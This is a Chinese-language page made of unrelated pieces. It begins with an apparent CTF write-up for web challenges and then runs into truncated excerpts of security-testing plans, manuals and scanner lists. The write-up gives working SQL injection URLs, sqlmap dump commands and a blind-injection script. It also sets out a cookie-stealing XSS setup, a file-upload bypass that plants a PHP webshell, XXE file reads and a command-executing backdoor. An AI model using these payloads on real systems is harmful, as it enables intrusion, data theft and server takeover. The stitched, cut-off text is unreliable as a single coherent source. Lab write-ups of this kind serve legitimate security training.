Web漏洞实战官方题解
这个题目是Union型sql注入，没有进行任何过滤，可以通过sqlmap或者手注。
通过单引号截断sql查询语句：
可以利用and 1=2进行union注入，获取注入结果回显：
2的位置可以回显，接下来猜测表名，当from flag的时候可以正常回显：
表名错误的话则查询不到数据：
列名类似，最终的POC：
http://10.3.242.167/hackit/question/sqli1/index.php?id=1' and 1=2 union select 1,flag from flag %23
得到：
如果使用sqlmap的话:
首先使用-u判断是否存在注入：
发现可以Union、布尔型、基于时间……于是，分别使用—dbs –tables –columns可以得到数据库名、表名、列名，最后用：
sqlmap.py -u "http://10.3.242.167/hackit/question/sqli1/index.php?id=1" -D one -T flag –dump
这个题目过滤了一些关键字，但是可以利用大小写混写进行绕过：
将and关键字用&&代替，注意要进行url编码，最后的payload如下：
http://10.3.242.167/hackit/question/sqli2/index.php?id=1' %26%26 1=2 UNion sElect 1,flag fRom flag %23
这个看泽哥注入的时候，发现可以利用—tamper=randomcase，使用sqlmap的随机大小写关键字脚本，直接也可以得到结果：
sqlmap.py -u "http://10.3.242.167/hackit/question/sqli2/index.php?id=1" --tamper=randomcase
后面的同第一个：
这个题目看源码可以发现把union整个给过滤了，所以只能通过Bool型盲注了：
通过substr取出第一位然后用ascii码判断，可以得到第一位的ascii码为84，即’T’
写一个简单的盲注脚本：
# /usr/bin/python
#coding:utf-8
import requests
import re
import base64
import time
import binascii
want = ''
for i in range(1, 33):
number = str(i)
for ss in range(0x0, 0xff+1):
u = 'http://10.3.242.167/hackit/question/sqli3/index.php?id=1\' %26%26 exists(seLect flag From flag where ascii(substr(flag, ' + str(number) + ', 1))=' + str(ss) + ') %23' s = requests.Session()
c = s.get(u)
content = c.content
if 'look me!' in content:
print u
want = want + chr(ss)
print want
break
print want
运行脚本得到最后的结果：
反射型XSS和存储型XSS只在第一个页面进行了过滤，提交内容后进入第二个页面，这个页面并没有做过滤，因为是想让大家了解一下反射型XSS和存储型XSS的不同点以及XSS的简单利用（盗取cookie）。chrome浏览器对反射型xss 做了过滤，为了达到效果，特在Firefox下演示。
输入name后在第二个页面的输入框输fddf，效果如下图，说明插入的js脚本被成功执行。
接下来考虑盗取cookie。
本地web服务器下准备一个3.php文件，内容如下图，主要功能是接受传过来的参数，名为cookie，然后将其写到cookie.txt文件里面。
在第一个页面输入name后进入第二个页面中输入如下内容（如下语句的功
能其实就是请求上面的3.php，并把cookie作为参数传过去），
如下图所示，cookie.txt中已经有接受到的cookie。
我在后台把大家在 2.php中输入的内容存到了message.txt中，然后在message.php把内容读出来，这里是构造一种简单的存储型XSS场景，区别于反射型XSS中把2.php中输入的内容直接echo出来。
先在本地web服务器上准备一个3.php，内容跟上面一样，然后，在第一个页面输入name后(我这里输入name111，所以cookie的内容是name=name111)进入2.php，在2.php中输入：
访问message.php即可收到cookie。
这题是通过上传文件的类型来判断能否通过上传，传个php一句话，然后抓个包：
会提示上传出错，这里修改Content-type=image/jpeg，然后重放数据包：
这样就看到了第一枚flag，这里利用apache+windows的特性，针对”php ”或“php.”会保存成“php”，这里修改文件名为“1.php..”，然后重放数据包：
提示上传成功，访问upload目录下1.php，发现已经解析，使用菜刀连接，看到第二枚flag：（各位尝试成功的话请不要进行破坏操作）
这个首先可以看到部分源码说明：
这里可以利用各种花式绕过方法，列举最常用的一种绕过方式：
这里是一个XML实体注入漏洞，源码做了一些过滤，可以使用file协议读文件，首先给出读文件的POC（由于需要读php，直接读会被截断，因此用base64编码下）：
]>
&xxe;
也可以通过物理路径，可以从报错回显中得到，这里首先读一下xxe.php：PD9waHAgDQoJJHJldCA9IGxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOw 0KCSR4bWxfc3RyaW5nID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7DQoJ DQoJaWYgKCFpc3NldCgkeG1sX3N0cmluZykgfHwgJHhtbF9zdHJpbmc9PT0iIikNCgkJZGllK CJXaHkgbm90IHBvc3QgYSB4bWw/Iik7DQoJDQoJaWYgKHN0cmlzdHIoJHhtbF9zdHJpbm csICdodHRwJykgfHwgc3RyaXN0cigkeG1sX3N0cmluZywgJ2Z0cCcpIHx8IHN0cmlzdHIoJHh tbF9zdHJpbmcsICdwaGFyJykgfHwgc3RyaXN0cigkeG1sX3N0cmluZywgJ2V4Y2VwdCcpKQ 0KCQlkaWUoIllvdSBjYW4ndCBkbyB0aGlzISIpOw0KCQ0KCWlmIChzdHJpc3RyKCR4bWxfc 3RyaW5nLCAnLi4nKSkNCgkJZGllKCJZb3UgY2FuJ3QgZG8gdGhpcyEiKTsNCgkNCgkkcmUg PSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbF9zdHJpbmcpOw0KCS8vSGVyZSBpcyB0 aGUgZmlyc3QgZmxhZzogVFNDVEZ7QW5fZTRzeV9YWEVfRXg0bXBsM30NCgkvLy1BLQ0K CQ0KCWVjaG8gJHJlOw0KPz4=
解码后得到第一个flag：
$ret = libxml_disable_entity_loader(false);
$xml_string = file_get_contents('php://input');
if (!isset($xml_string) || $xml_string==="")
die("Why not post a xml?");
if (stristr($xml_string, 'http') || stristr($xml_string, 'ftp') || stristr($xml_string, 'phar') || stristr($xml_string, 'except'))
die("You can't do this!");
if (stristr($xml_string, '..'))
die("You can't do this!");
$re = simplexml_load_string($xml_string);
//Here is the first flag: TSCTF{An_e4sy_XXE_Ex4mpl3}
//-A-
echo $re;
?>
然后根据robots.txt的提示（在xxe目录下放robots.txt被吐槽了……）：
读取后门的php文件内容如下：
$a = $_POST['1112'];
$b = $_POST['1114'];
$pass = $_POST['1509'];
if (!isset($a) || !isset($b) || !isset($pass))
die("You found me. So?");
if (md5($pass) === "df7d4c3ca439fa8dc050990faff0929e")
$a("$b");
?>
这里首先解出md5明文为TSCTF，所以需要POST 1509=TSCTF，这里用起来不方便，可以先用这个后门写个一句话，先测试下phpinfo()：
这里$貌似会把后面的当变量，PHP不太熟所以分两步写，第一步：
第二步：
然后访问：
OK，马儿拼完了，上菜刀，在C盘根目录读到最后一个flag：
WEB安全测试
Web安全测试——手工安全测试方法及修改建议 发表于：2017-7-17 11:47 ?作者：liqingxin ? 来源：51Testing软件测试网采编 字体：???|??|??|??|?|?推荐标签：??? 常见问题 (CrossSite Script)跨站脚本攻击 (CrossSite Script)跨站脚本攻击。它指的是恶意攻击者往Web 页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web 里面的html 代码会被执行，从而达到恶意用户的特殊目的。 方法：? 在数据输入界面，添加输入：，添加成功如果弹出对话框，表明此处存在一个XSS?。 或把url请求中参数改为，如果页面弹出对话框，表明此处存在一个XSS 漏洞 修改建议： 过滤掉用户输入中的危险字符。对输入数据进行客户端和程序级的校验（如通过正则表达式等）。 Eg:对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤 与跨站脚本(XSS) CSRF与跨站脚本(XSS)，是指请求迫使某个登录的向易受攻击的Web应用发送一个请求，然后以受害者的名义，为入侵者的利益进行所选择的行动。 测试方法： 同个浏览器打开两个页面，一个页面权限失效后，另一个页面是否可操作成功使用工具发送请求，在http请求头中不加入referer字段，检验返回消息的应答，应该重新定位到错误界面或者登陆界面。 修改建议： 在不同的会话中两次发送同一请求并且收到相同的响应。这显示没有任何参数是动态的（会话标识仅在cookie 中发送），因此应用程序易受到此问题攻击。因此解决的方法为 Hashing(所有表单都包含同一个伪随机值)： 2. ?验证码 ‐Time Tokens(不同的表单包含一个不同的伪随机值)客户端保护措施：应用防止CSRF攻击的工具或插件。 3.注入测试
Web安全之网页木马的检测与防御
Web安全之网页木马的检测与防御随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生，基于Web环境的互联网应用越来越广泛，企业信息化的过程中各种应用都架设在Web平台上，Web业务的迅速发展也引起黑客们的强烈关注，接踵而至的就是Web安全威胁的凸显，黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限，轻则篡改网页内容，重则窃取重要内部数据，更为严重的则是在网页中植入恶意代码，使得网站访问者受到侵害。在Web安全的攻击种类中，网页木马一直是一个不容忽视的问题。黑客把一个木马程序上传到一个网站里面然后用木马生成器生一个网马，再上到空间里面，再加代码使得木马在打开网页里运行，从而获取用户的隐私信息。随着网页木马破坏性的增大，人们对网页木马的重视程度也在逐渐增加。 1网页木马简介 1.1网页木马的定义 网页木马是在宏病毒、木马等恶意代码基础上发展出来的一种新形态的恶意代码.类似于宏病毒通过Word 等文档中的恶意宏命令实现攻击.网页木马一般通过HTML 页面中的一段恶意脚本达到在客户端下载、执行恶意可执行文件的目的,而整个攻击流程是一个“特洛伊木马式”的隐蔽的、用户无察觉的过程,因此,国内研究者通常称该种攻击方式为“网页木马”. 目前,学术界对网页木马尚无一个明确的、统一的定义.Wiki 将它定义为一种用户不知情的下载,发生的场景可以是用户阅览邮件、访问网站页面以及点击一个欺诈性的弹出框时,等等,该定义属于字面解释,包括的内容比较宽泛,如利用社会工程学手段欺骗用户下载也属于其涵盖范围.此外,Wiki 还用Drive-by-Install 这一术语来表示下载并安装恶意程序的过程;Google 的Provos 等人将网页木马限定为客户端在访问页面时受到攻击并导致恶意可执行文件的自动下载、执行,该定义指出了“访问页面时受到攻击”和“自动下载、自动执行恶意可执行文件”两个关键点;UCSB 的Cova 等人进一步指出,网页木马是以一段JavaScript 代码作为攻击向量的一种客户端攻击方式,而实际上,还存在一些通过CSS 元素、VBScript 脚本发起攻击的网页木马。 综上所述,网页木马定义为:一种以JavaScript,VBScript,CSS 等页面元素作为攻击向量,利用浏览器及插件中的漏洞,在客户端隐蔽地下载并执行恶意程序的基于Web 的客户端攻击。 1.2网页木马的攻击流程 网页木马采用一种被动攻击模式(即pull-based 模式):攻击者针对浏览器及插件的某个特定漏洞构造、部署好攻击页面之后,并不像发送垃圾邮件那样主动将内容推送给受害用户(即push-based 模式),而是被动地等待客户端发起的页面访问请求.其典型攻击流程如图 1 所示:1. 客户端访问攻击页面;2. 服务器做出响应,将页面内容返回给客户端;3. 页面被浏览器加载、渲染,页面中包含的攻击向量在浏览器中被执行并尝试进行漏洞利用;4,5. 存在该漏洞的客户端被攻破,进而下载、安装、执行恶意程序。
最新Web应用安全测试方案
精品文档 1 Web安全测试技术方案 1.1 测试的目标更好的发现当前系统存在的可能的安全隐患，避免发生危害性的安全事件更好的为今 后系统建设提供指导和有价值的意见及建议 1.2 测试的范围 本期测试服务范围包含如下各个系统： Web系统： 1.3 测试的内容 1.3.1 WEB^ 用 针对网站及WEB系统的安全测试，我们将进行以下方面的测试： Web 服务器安全漏洞 Web 服务器错误配置 SQL 注入 XSS （跨站脚本） CRLF 注入 目录遍历 文件包含 输入验证 认证 逻辑错误 Google Hacking 密码保护区域猜测字典攻击特定的错误页面检测脆弱权限的目录危险的HTTP 方法（如：PUT、DELETE） 1.4 测试的流程 方案制定部分： 精品文档 获取到客户的书面授权许可后，才进行安全测试的实施。并且将实施范围、方法、时间、人员等具体的方案与客户进行交流，并得到客户的认同。 在测试实施之前，让客户对安全测试过程和风险知晓，使随后的正式测试流程都在客户的控制下。 信息收集部分：
这包括：操作系统类型指纹收集；网络拓扑结构分析；端口扫描和目标系统提供的服务识别等。采用商业和开源的检测工具（AWVS burpsuite、Nmap等）进行收集。 测试实施部分： 在规避防火墙、入侵检测、防毒软件等安全产品监控的条件下进行：操作系统可检测到的漏洞测试、应用系统检测到的漏洞测试（如：Web应用），此阶段如果成功的话，可能获得普通权限。 安全测试人员可能用到的测试手段有：扫描分析、溢出测试、口令爆破、社会工程学、客户端攻击、中间人攻击等，用于测试人员顺利完成工程。在获取到普通权限后，尝试由普通权限提升为管理员权限，获得对系统的完全控制权。此过程将循环进行，直到测试完成。最后由安全测试人员清除中间数据。 分析报告输出： 安全测试人员根据测试的过程结果编写直观的安全测试服务报告。内容包括：具体的操作步骤描述；响应分析以及最后的安全修复建议。 下图是更为详细的步骤拆分示意图： 精品文档 1.5 测试的手段 根据安全测试的实际需求，采取自动化测试与人工检测与审核相结合的方式，大大的减少了自动化测试过程中的误报问题。
Web应用安全测试方案
1 Web 安全测试技术方案 1.1测试的目标 更好的发现当前系统存在的可能的安全隐患，避免发生危害性的安全事件 更好的为今后系统建设提供指导和有价值的意见及建议 1.2测试的范围 本期测试服务范围包含如下各个系统： Web 系统： 1.3测试的内容 1.3.1WEB 应用 针对网站及WEB 系统的安全测试，我们将进行以下方面的测试： Web 服务器安全漏洞 Web 服务器错误配置 SQL 注入 RSS （跨站脚本） CRLF 注入 目录遍历 文件包含 输入验证 认证逻辑错误 GoogleHacAing 密码保护区域猜测字典攻击特定的错误页面检测脆弱权限的目录危险的HTTP
方法（如：PUT、DELETE） 1.4测试的流程 方案制定部分：获取到客户的书面授权许可后，才进行安全测试的实施。并且将实施范围、方法、时间、人员等具体的方案与客户进行交流，并得到客户的认同。 在测试实施之前，让客户对安全测试过程和风险知晓，使随后的正式测试流程都在客户的控制下。 信息收集部分：这包括：操作系统类型指纹收集；网络拓扑结构分析；端口扫描和目标系统提供的服务识别等。采用商业和开源的检测工具（AWVS 、burpsuite 、Nmap 等）进行收集。 测试实施部分：在规避防火墙、入侵检测、防毒软件等安全产品监控的条件下进行：操作系统可检测到的漏洞测试、应用系统检测到的漏洞测试（如：Web 应用），此阶段如果成功的话，可能获得普通权限。 安全测试人员可能用到的测试手段有：扫描分析、溢出测试、口令爆破、社会工程学、客户端攻击、中间人攻击等，用于测试人员顺利完成工程。在获取到普通权限后，尝试由普
WEB漏洞检测与评估系统实施方案
WEB漏洞检测与评估系统实施方案 一、背景 WEB网站是互联网上最为丰富的资源呈现形式，由于其访问简单、拓展性好等优点，目前在资讯、电子政务、电子商务和企业管理等诸多领域得到了广泛的应用。与此同时，WEB网站也面临着数量庞大、种类繁多的安全威胁，操作系统、通信协议、服务发布程序和编程语言等无不存在大量安全漏洞。根据国家互联网应急中心最新监测分析报告的发布，一个令人触目惊心的数据引发各方关注：“1月4日至10日，境内被篡改政府网站数量为178个，与前一周相比大幅增长409%，其占境内被篡改网站总数的比例也大幅增长为31%。”不仅政府网站，近年来各种Web网站攻击事件也是频频发生，网站SQL注入，网页被篡改、信息失窃、甚至被利用成传播木马的载体---Web安全威胁形势日益严峻。 Web网站的安全事件频频发生，究其根源，关键原因有二：一是Web网站自身存在技术上的安全漏洞和安全隐患；二是相关的防护设备和防护手段欠缺。Web网站的体系架构一般分为三层，底层是操作系统，中间层是Web服务程序、数据库服务等通用组件，上层是内容和业务相关的网页程序。这三层架构中任何一层出现了安全问题都会导致整个Web网站受到威胁，而这三层架构中任何一层都不可避免地存在安全漏洞，底层的操作系统（不管是Windows还是Linux）都不时会有黑客可以远程利用的安全漏洞被发现和公布；中间层的Web服务器（IIS或Apache等）、ASP、PHP等也常会有漏洞爆出；上
层的网页程序有SQL注入漏洞、跨站脚本漏洞等Web相关的漏洞。另一方面，目前很多Web网站的防护设备和防护手段不够完善，虽然大部分网站都部署了防火墙，但针对Web网站漏洞的攻击都是应用层的攻击，都可以通过80端口完成，所以防火墙对这类攻击也是无能为力，另外，有些网站除了部署防火墙外还部署了IDS/IPS，但同样都存在有大量误报情况，导致检测精度有限，为此，攻击性测试成为发现和解决WEB安全问题最有效和最直接的手段。 WEB漏洞检测与评估是通过模拟恶意黑客的攻击方法，来评估计算机网络系统安全的一种方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析，这个分析是从一个攻击者可能存在的位置来进行的，并且从这个位置有条件主动利用安全漏洞。WEB漏洞检测与评估系统是作为WEB检测的专用系统，用于发现操作系统和任何网络服务，并检查这些网络服务有无漏洞。 二、概述 WEB漏洞检测与评估系统是集基本信息扫描、操作系统指纹扫描、开放服务扫描、OS漏洞扫描、WEB漏洞扫描于一体的专业自动化扫描系统，并通过扫描插件、知识库和检测结果的可拓展对其检测能力进行扩充，为实施攻击性测试对WEB信息系统进行全面的、深入的、彻底的风险评估和参数获取，全面获得目标系统的基本信息、漏洞信息、服务信息等。 三、系统部署与使用
十大Web服务器漏洞扫描工具
1. Nikto 这是一个开源的Web服务器扫描程序，它可以对Web服务器的多种项目(包括3500个潜在的危险文件/CGI，以及超过900个服务器版本，还有250多个服务器上的版本特定问题)进行全面的测试。其扫描项目和插件经常更新并且可以自动更新(如果需要的话)。 Nikto可以在尽可能短的周期内测试你的Web服务器，这在其日志文件中相当明显。不过，如果你想试验一下(或者测试你的IDS系统)，它也可以支持LibWhisker的反IDS方法。 不过，并非每一次检查都可以找出一个安全问题，虽然多数情况下是这样的。有一些项目是仅提供信息(“info only” )类型的检查，这种检查可以查找一些并不存在安全漏洞的项目，不过Web管理员或安全工程师们并不知道。这些项目通常都可以恰当地标记出来。为我们省去不少麻烦。 2. Paros proxy 这是一个对Web应用程序的漏洞进行评估的代理程序，即一个基于Java的web代理程序，可以评估Web应用程序的漏洞。它支持动态地编辑/查看HTTP/HTTPS，从而改变cookies 和表单字段等项目。它包括一个Web通信记录程序，Web圈套程序(spider)，hash 计算器，还有一个可以测试常见的Web应用程序攻击(如SQL注入式攻击和跨站脚本攻击)的扫描器。 3. WebScarab 它可以分析使用HTTP 和HTTPS协议进行通信的应用程序，WebScarab可以用最简单地形式记录它观察的会话，并允许操作人员以各种方式观查会话。如果你需要观察一个基于HTTP(S)应用程序的运行状态，那么WebScarabi就可以满足你这种需要。不管是帮助开发人员调试其它方面的难题，还是允许安全专业人员识别漏洞，它都是一款不错的工具。 4. WebInspect 这是一款强大的Web应用程序扫描程序。SPI Dynamics的这款应用程序安全评估工具有助于确认Web应用中已知的和未知的漏洞。它还可以检查一个Web服务器是否正确配置，并会尝试一些常见的Web攻击，如参数注入、跨站脚本、目录遍历攻击(directory traversal)等等。 5. Whisker/libwhisker
web安全渗透测试培训安全测试总结
web安全渗透测试培训安全测试总结 跨站点脚本攻击（Xss） Burpsuite探测反射型xss问题请求的值没有做处理就在响应中返回 越权访问定义：不同权限账户之间的功能及数据存在越权访问。 测试方法： 1.抓取A用户功能链接，然后登录B用户对此链接进行访问。 2.抓取用户A的uesrid，用用户B登录时替换为用户A的userid。 3.抓取用户A的cookie，用用户B登录时替换用户A的cookie。 文上传漏洞定义：没有对上传文扩展名进行限制或者限制可以被绕过。 测试方法：找到系统中可以上传文的地方，抓取功能链接，修改文扩展名，看响应包的状态。 关键会话重放攻击定义：可以抓取包固定账号破解密码、固定密码破解账号和重放提交投票数据包。 测试方法：
使用抓包工具抓取系统登录请求，获得用户和密码参数，使用用户或密码字典替代登录请求会话中对应的用户或密码参数，暴力破解。 中间weblogic命令执行漏洞定义：weblogic反序列化漏洞，可以执行系统命令。 测试方法： 使用CVE-20XX-2628漏洞检测工具，对目标主机进行检测。在url.txt中填入目标主机的“ip:port”，这里填入 192.168.2.103:7001。在windows主机打开命令行运行CVE-20XX-2628-MultiThreading.py开始检测。 敏感信息泄露定义：系统暴露系统内部信息，包括网站绝对路径泄露、SQL语句泄露、中间泄露、程序异常回显。 测试方法： 1.使用抓包工具对系统中的参数进行篡改，加入特殊符号“’、--、&;”，查看返回数据包。 2.查看系统前端js代码。 SQL语句泄露中间版本泄露程序异常回显程序异常回显后台泄露漏洞中间后台泄露定义：weblogic后台地址过于简单，攻击者很容易猜测和破解到后台地址。 测试方法： 1.不允许使用默认地址 2.不允许只修改控制台访问地址的端口号
跟我学IBM AppScan Web安全检测工具——应用AppScan软件工具进行安全检测(第1部分)
1.1跟我学IBM AppScan Web安全检测工具——如何应用AppScan软件工具进行安全检测（第1部分） 1.1.1新建和定义扫描配置 1、新建一个新的扫描 启动AppScan后可以在欢迎界面中点击“创建新的扫描”链接，或者选择“文件”菜单中的“新建”子菜单项目。 都将出现下面的“新建扫描”时所需要选择的模板对话框窗口，主要提供有如下类型的模板——常规扫描、快速且简单的扫描、综合扫描、基于参数的导航、WebSphere
Commerce、WebSphere Portal、https://www.wendangku.net/doc/6b10088689.html,、Hacme Bank、WebGoat v5等。 当然，也可以在欢迎对话框界面中选中已经存在的扫描配置文件，从而重用原有的扫描配置结果。 将出现如下的加载信息
可以在此配置文件的基础上继续检测或者显示出以前的检测结果信息。 2、应用某个扫描模板 选择一个适合满足检测要求的扫描模板——在模板中包括已经定义好的扫描配置，选择一个模板后会出现配置向导——本示例选择“常规扫描”模板（使用默认模板）。然后将出现下面的“扫描配置向导”对话框。 扫描配置向导是AppScan工具的核心部分，使用设置向导可以简化检测的配置过程。目前，在本示例程序中没有下载安装“GSC Web Service记录器”组件，因此目前还不能对“Web Service”相关的程序进行扫描。如果在Web应用系统中涉及Web Service，则需要下
载安装“GSC Web Service记录器”组件。 在“扫描配置向导”对话框中选择扫描的类型，目前选择“Web应用程序扫描”类型选择项目。然后再点击“下一步”按钮，将出现下面的“URL和服务器”界面。 3、定义URL和服务器 在“URL和服务器”界面中，根据检测的需要进行相关的配置定义。 （1）Starting URL（扫描的起始网址） 此功能指定要扫描的起始网址，在大多数情况下，这将是该网站的登陆页面或者Web 应用系统的首页面。Rational AppScan 提供有测试站点（https://www.wendangku.net/doc/6b10088689.html,，而登录https://www.wendangku.net/doc/6b10088689.html, 站点的用户名和密码为：jsmith / Demo1234），但本示例选择“http://XXX.XX.XX.XXX:3030/”（XX考勤系统）作为检测的起始网址，并选择“仅扫描此目录中或目录下的链接”的选择框，从而可以限制只扫描目标Web应用系统所在的工作目录下的各个链接。 （2）Case Sensitive Path（区分大小写的路径） 如果待检测的服务器URL有大小写的区别，则需要选择此项。对大小写的区别取决于服务器的操作系统类型，在Linux/Unix系统中对URL的大小写是敏感的，而Windows是没有此特性的。本示例的检测目标Web应用系统是部署在Windows系统中的，因此不需要选中“区分大小写的路径”的选择项目。 （3）Additional Servers and Domains（其他服务器和域） 在扫描过程中，AppScan尝试抓取本Web应用系统上的所有链接。当它发现了一个链接指向不同的域（比如子站点等），它是不会进行扫描攻击的，除非在“Additional Servers and Domains”（其他服务器和域）中有指定。因此，通过指定该标签下的链接来告诉AppScan 继续扫描，即使它和URL是在不同的域下。
Web安全测试规范V1.3
安全测试工作规范 深圳市xx有限公司 二〇一四年三月
修订历史记录 A - 增加M - 修订D - 删除
目录 1 概述 (5) 1.1 背景简介 (5) 1.2 适用读者 (5) 1.3 适用范围 (5) 1.4 安全测试在项目整体流程中所处的位置 (6) 1.5 安全测试在安全风险评估的关系说明 (6) 1.6 注意事项 (6) 1.7 测试用例级别说明 (7) 2 Web安全测试方法 (8) 2.1 安全功能验证 (8) 2.2 漏洞扫描 (8) 2.3 模拟攻击实验 (8) 2.4 侦听技术 (8) 3 Appscan工具介绍 (9) 3.1 AppScan工作原理 (9) 3.2 AppScan扫描阶段 (10) 3.3 AppScan工具使用 (11) 3.4 AppScan工具测试覆盖项说明...................... 错误！未定义书签。 4 测试用例和规范标准 (19) 4.1 输入数据测试 (20) 4.1.1 SQL注入测试 (20) 4.1.2 命令执行测试 (25) 4.2 跨站脚本攻击测试 (26) 4.2.1 GET方式跨站脚本测试 (28) 4.2.2 POST方式跨站脚本测试 (29) 4.2.3 跨站脚本工具实例解析 (30) 4.3 权限管理测试 (32)
4.3.1 横向测试 (32) 4.3.2 纵向测试 (33) 4.4 服务器信息收集 (38) 4.4.1 运行账号权限测试 (38) 4.4.2 Web服务器端口扫描 (38) 4.5 文件、目录测试 (39) 4.5.1 工具方式的敏感接口遍历 (39) 4.5.2 目录列表测试 (41) 4.5.3 文件归档测试 (43) 4.6 认证测试 (44) 4.6.1 验证码测试 (44) 4.6.2 认证错误提示 (45) 4.6.3 锁定策略测试 (46) 4.6.4 认证绕过测试 (47) 4.6.5 修复密码测试 (47) 4.6.6 不安全的数据传输 (48) 4.6.7 强口令策略测试 (49) 4.7 会话管理测试 (51) 4.7.1 身份信息维护方式测试 (51) 4.7.2 Cookie存储方式测试 (51) 4.7.3 用户注销登陆的方式测试 (52) 4.7.4 注销时会话信息是否清除测试 (53) 4.7.5 会话超时时间测试 (54) 4.7.6 会话定置测试 (54) 4.8 文件上传下载测试 (55) 4.8.1 文件上传测试 (55) 4.8.2 文件下载测试 (56) 4.9 信息泄漏测试 (57) 4.9.1 连接数据库的账号密码加密测试 (57) 4.9.2 客户端源代码敏感信息测试 (58)
WEB漏洞检测与评估系统实施方案
WEB漏洞检测与评估系统实施方案
WEB漏洞检测与评估系统实施方案 一、背景 WEB网站是互联网上最为丰富的资源呈现形式，由于其访问简单、拓展性好等优点，当前在资讯、电子政务、电子商务和企业管理等诸多领域得到了广泛的应用。与此同时，WEB网站也面临着数量庞大、种类繁多的安全威胁，操作系统、通信协议、服务发布程序和编程语言等无不存在大量安全漏洞。根据国家互联网应急中心最新监测分析报告的发布，一个令人触目惊心的数据引发各方关注：“1月4日至10日，境内被篡改政府网站数量为178个，与前一周相比大幅增长409%，其占境内被篡改网站总数的比例也大幅增长为31%。”不但政府网站，近年来各种Web 网站攻击事件也是频频发生，网站SQL注入，网页被篡改、信息失窃、甚至被利用成传播木马的载体---Web安全威胁形势日益严峻。 Web网站的安全事件频频发生，究其根源，关键原因有二：一是Web网站自身存在技术上的安全漏洞和安全隐患；二是相关的防护设备和防护手段欠缺。Web网站的体系架构一般分为三层，底层是操作系统，中间层是Web服务程序、数据库服务等通用组件，上层是内容和业务相关的网页程序。这三层架构中任何一层出现了安全问题都会导致整个Web网站受到威胁，而这三层架构中任何一层都不可避免地存在安全漏洞，底层的操作系统（不论是Windows还是Linux）都不时会有黑客能够远程利用的
安全漏洞被发现和公布；中间层的Web服务器（IIS或Apache 等）、ASP、PHP等也常会有漏洞爆出；上层的网页程序有SQL注入漏洞、跨站脚本漏洞等Web相关的漏洞。另一方面，当前很多Web网站的防护设备和防护手段不够完善，虽然大部分网站都部署了防火墙，但针对Web网站漏洞的攻击都是应用层的攻击，都能够经过80端口完成，因此防火墙对这类攻击也是无能为力，另外，有些网站除了部署防火墙外还部署了IDS/IPS，但同样都存在有大量误报情况，导致检测精度有限，为此，攻击性测试成为发现和解决WEB安全问题最有效和最直接的手段。 WEB漏洞检测与评估是经过模拟恶意黑客的攻击方法，来评估计算机网络系统安全的一种方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析，这个分析是从一个攻击者可能存在的位置来进行的，而且从这个位置有条件主动利用安全漏洞。WEB漏洞检测与评估系统是作为WEB检测的专用系统，用于发现操作系统和任何网络服务，并检查这些网络服务有无漏洞。 二、概述 WEB漏洞检测与评估系统是集基本信息扫描、操作系统指纹扫描、开放服务扫描、OS漏洞扫描、WEB漏洞扫描于一体的专业自动化扫描系统，并经过扫描插件、知识库和检测结果的可拓展对其检测能力进行扩充，为实施攻击性测试对WEB信息系统进行全面的、深入的、彻底的风险评估和参数获取，全面获得目标系统的基本信息、漏洞信息、服务信息等。
实验08 Web漏洞扫描
漏洞扫描 漏洞（或计算机漏洞）是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说，比如在 Intel Pentium芯片中存在的逻辑错误，在Sendmail早期版本中的编程错误，在NFS协议中认证方式上的弱点，在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用，威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞，这些漏洞存在于各个方面，而且数量惊人。据卡巴斯基实验室的统计显示：仅2010年第三季度，就检测出用户计算机中的漏洞程序和文件数量约3200万个。 计算机漏洞是一个比较独特的抽象概念，它具有以下特点： 1．计算机安全漏洞的存在并不能导致损害，但是它可以被攻击者利用，从而造成对系统安全的威胁和破坏。计算机安全漏洞也不同于一般的计算机故障，漏洞的恶意利用能够影响人们的工作、生活，甚至会带来灾难的后果。 2．漏洞是普遍存在的，例如，软件编程过程中出现逻辑错误是很普遍的现象，而这些错误绝大多数都是由疏忽造成的。 3．漏洞是在硬件、软件、协议的具体实现或具体使用的过程中产生的错误，但并不是系统中存在的错误都是安全漏洞，只有能威胁到系统安全的错误才是漏洞。许多错误在通常情况下并不会对系统安全造成危害，只有被人在某些条件下故意使用时才会影响系统安全。 4．漏洞和具体的系统环境密切相关，在不同种类的软、硬件设备中，同种设备的不同版本之间，不同设备构成的不同系统之间，以及同种系统在不同的设置条件下，都会存在各自不同的安全漏洞问题。 5．漏洞问题是与时间紧密相关的，而且是长期存在的。随着时间的推移，旧的漏洞会不断得到修补或纠正，而在修补或纠正旧的漏洞的同时，可能会导致一些新的漏洞或错误，而且随着用户的深入使用，系统中存在的漏洞会被不断暴露出来，因此，漏洞将会长期存在。 从广义角度来说，漏洞可以分为应用程序漏洞、网络漏洞和主机漏洞等，本章节所指漏洞专指网络服务漏洞，如POP漏洞、HTTP漏洞、FTP漏洞等。漏洞扫描通常是指基于漏洞数据库，通过扫描等手段，对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现可利用的漏洞的一种安全检测或者渗透攻击的行为。漏洞扫描是对系统进行全方位的扫描，检查当前的系统是否有漏洞，如果有漏洞则需要马上进行修复，否则系统很容易受到网络的伤
web漏洞扫描工具有哪些
